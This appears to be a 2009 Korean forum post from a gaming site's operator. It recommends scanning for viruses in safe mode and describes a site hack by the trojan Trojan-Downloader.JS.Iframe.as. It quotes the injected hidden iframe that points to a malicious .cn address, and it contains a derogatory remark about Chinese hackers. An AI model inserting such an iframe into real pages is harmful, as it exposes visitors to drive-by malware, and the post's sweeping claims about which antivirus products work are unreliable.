안전모드에서 바이러스 검사를 해보십시오.

자유게시판

안전모드에서 바이러스 검사를 해보십시오.

게임월드

2009-06-04 오전 12:40:15 Hit. 4447

최근에 바이러스들이 진화를 해서 일반모드에서는 스텔스 기능으로 숨어버려서 실시간 감시에도 안잡힙니다.
저도 이것때문에 며칠 전에 컴퓨터를 포맷했습니다. 
(스텔스 기능이 있는 신종 바이러스가 알약까지 감염시켰더군요.)
따라서 무조건 안전모드 (부팅시 F8번 누르고 메뉴중에서 1번 선택)로 들어가서 검사하시면 실시간감시에서 보이지 않던 바이러스가 수십 개가 나올 겁니다. 
 
 
아무튼 5년째 사용중인 구형 컴퓨터를 포맷했더니 인터넷 속도가 2배나 빨라졌습니다.
 
 
그리고 오전에 홈페이지 해킹 사고가 있었습니다.
3월달에 이어 2번째 해킹사고로 index.html 파일을 비롯하여 자주 접근하는 파일들에 악성코드가 삽입이 되었습니다. 
 
로그를 살펴보니 이번에도 중국 놈들 짓이더군요.
중국해커가 회원가입을 해서 특정 게시판에 바이러스가 심어진 파일을 올린 것 같습니다. 
인증메일 시스템을 없애서 그런지 보안이 한층 더 약해진 듯... 

해킹 커뮤니티들을 돌아다니면서 수집한 정보를 토대로 보안에 취약한 파일들을 수정했는데, 더 이상 해킹이 없었으면 하네요.
 
결국 구글링을 통해서 문제의 바이러스를 찾아냈습니다.
홈페이지 파일들을 위변조 시킨 범인은 Trojan-Downloader.JS.Iframe.as 더군요.
======================================================================== 
Trojan-Downloader.JS.Iframe.as (트로이목마 바이러스, 악성코드) 
========================================================================
[증상] 
 
루트\hosting\" 의 폴더에 존재하는 모든 
index.html, 
index.htm, 
index.asp, 
default.html, 
default.htm, 
default.asp, 
default.aspx, 
index.aspx, 
main.asp, 
main.html, 
main.htm 
 
위 파일들의 마지막 부분에 악성코드가 담긴 iframe을 삽입시킵니다..
(특정 도메인.cn 으로 끝나는 중국 사이트의 주소가 삽입된 경우가 대부분임) 

예:) iframe src="<a target=_blank class="con_link" href="http://superlottry.cn:8080/ts/in.cgi?pepsi41" target="_blank">http://superlottry.cn:8080/ts/in.cgi?pepsi41</a>" width=125 height=125 style="visibility: hidden" 
 
위와 같은 악성코드가 삽입된 홈페이지에 접근하면 자기도 모르는 사이에 PC가 해커들의 경유지로 사용 됩니다. 
 
[해결방법] 
 
카스퍼스키와 NOD32 등등 외국산 백신으로만 검사 및 치료가 가능합니다. 
<div class="autosourcing-stub"></div>


 
 
(알약, V3는 안습이군요...당장에 카스퍼스키로 바꿔야겠습니다.)

Lv.44 / 프사이 . 게임월드 (gameworld)

( 8747 / 50000 ) 17%

포 인 트 : 108747 P
가 입 일 : 2007-09-06 오후 2:05:09
최종접속일 : 2010-03-26 오전 12:05:47

2		0

불량게시글신고

글쓰기 수정 삭제 목록

현돌이


일반 예비군 갔다 왔어요... 9	긴얼사	2009.06.04	1291
일반 E3에서 놀란것들 12	-Hiro-	2009.06.04	1503
일반 후우 한 이주동안 죽어놨습니다 6	니취파러미	2009.06.04	1296
일반 호랑이 그림 12	기렌자비	2009.06.04	3360
일반 [투표결과50] "이갈이 vs 코골이" 최악의 잠버릇 승부 10	즐사마부인	2009.06.04	1678
일반 [솔로몬84] 국민찌개의 승부! "김치찌개 vs 된장찌개" 11	즐사마	2009.06.04	1784
정보 안전모드에서 바이러스 검사를 해보십시오. 24	게임월드	2009.06.04	4448
일반 아... 바이러스라니 ㄱ-;; 13	하이넬	2009.06.03	1602
일반 ndsl 에뮬 어떤걸 사용하세요? 14	-Hiro-	2009.06.03	3290
일반 그때를 아십니까? (15화) 14	아무것도필요없다	2009.06.03	3033
일반 제 여친?을 공개합니다 22	현돌이	2009.06.03	2350
일반 역시 유학생활이 힘이 든건 가족들이 그리워서... 11	신짱만만세	2009.06.03	1133
일반 간호사는 역시 이뻐야,,, 14	완죤즐	2009.06.03	2181
일반 드래곤퀘스트4 종료 10	-Hiro-	2009.06.03	1229
일반 psp그란투리스모 나오네요 14	나다아	2009.06.03	4561
일반 사진 링크할때 주로 어디 블로그 사용하시나요? 15	현돌이	2009.06.03	1581
일반 일기를 쓰면서 느낀건데... 9	타나토스	2009.06.03	1055
일반 뉴욕의 오후가 시작되네요^^..ㅋㅋ. 11	신짱만만세	2009.06.03	1368
일반 모니터..어떤걸로 구매할지 고민중입니다... 12	언니네이발관	2009.06.03	1646
일반 슈퍼로봇대전OGs 캐릭터 낙서 12	기렌자비	2009.06.03	1570